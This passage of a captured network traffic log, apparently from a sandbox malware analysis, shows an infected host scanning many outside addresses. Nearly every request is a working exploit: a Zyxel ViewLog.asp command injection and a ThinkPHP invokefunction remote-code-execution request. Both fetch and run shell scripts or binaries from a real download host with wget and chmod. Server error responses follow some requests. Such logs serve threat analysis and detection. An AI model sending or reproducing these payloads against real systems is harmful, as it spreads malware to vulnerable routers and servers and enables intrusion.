{color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.41</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	40776	31.136.33.241	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.521701097 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:39.735229015 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:45.883022070 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:57.911099911 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:21.975114107 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:11.129637003 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	39718	31.136.242.98	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.522006035 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:39.735213041 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:45.883028030 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:57.911109924 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:21.975121021 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:11.127048016 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	53880	95.217.226.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.531857967 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:36.720909119 CET	979	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 783 Date: Mon, 04 Mar 2024 14:06:36 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 35 38 20 28 55 62 75 6e 74 75 29 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.58 (Ubuntu)</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	60682	95.252.22.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.540745020 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:36.740137100 CET	273	IN	HTTP/1.1 404 Not Found Server: WebServer Date: Wed, 18 Jun 2003 22:06:19 GMT Connection: close Content-Type: text/html Content-length: 126 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD><BODY><H2>Access Error: 404 -- Not Found</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	55160	94.123.38.158	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.557060003 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	43600	95.164.78.162	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.763631105 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:36.924679041 CET	1260	IN	HTTP/1.1 400 Bad Request Server: squid/4.10 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:06:36 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3545 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from localhost X-Cache-Lookup: NONE from localhost:8080 Via: 1.1 localhost (squid/4.10) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2019 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	36776	95.100.76.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.028779030 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:37.201817989 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:06:37 GMT Date: Mon, 04 Mar 2024 14:06:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 31 39 37 26 23 34 36 3b 34 31 38 34 38 64 36 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.867a7b5c.1709561197.41848d68</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	54992	95.221.51.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.079876900 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:37.304208040 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Mon, 04 Mar 2024 14:06:28 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	51830	95.179.237.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.182442904 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
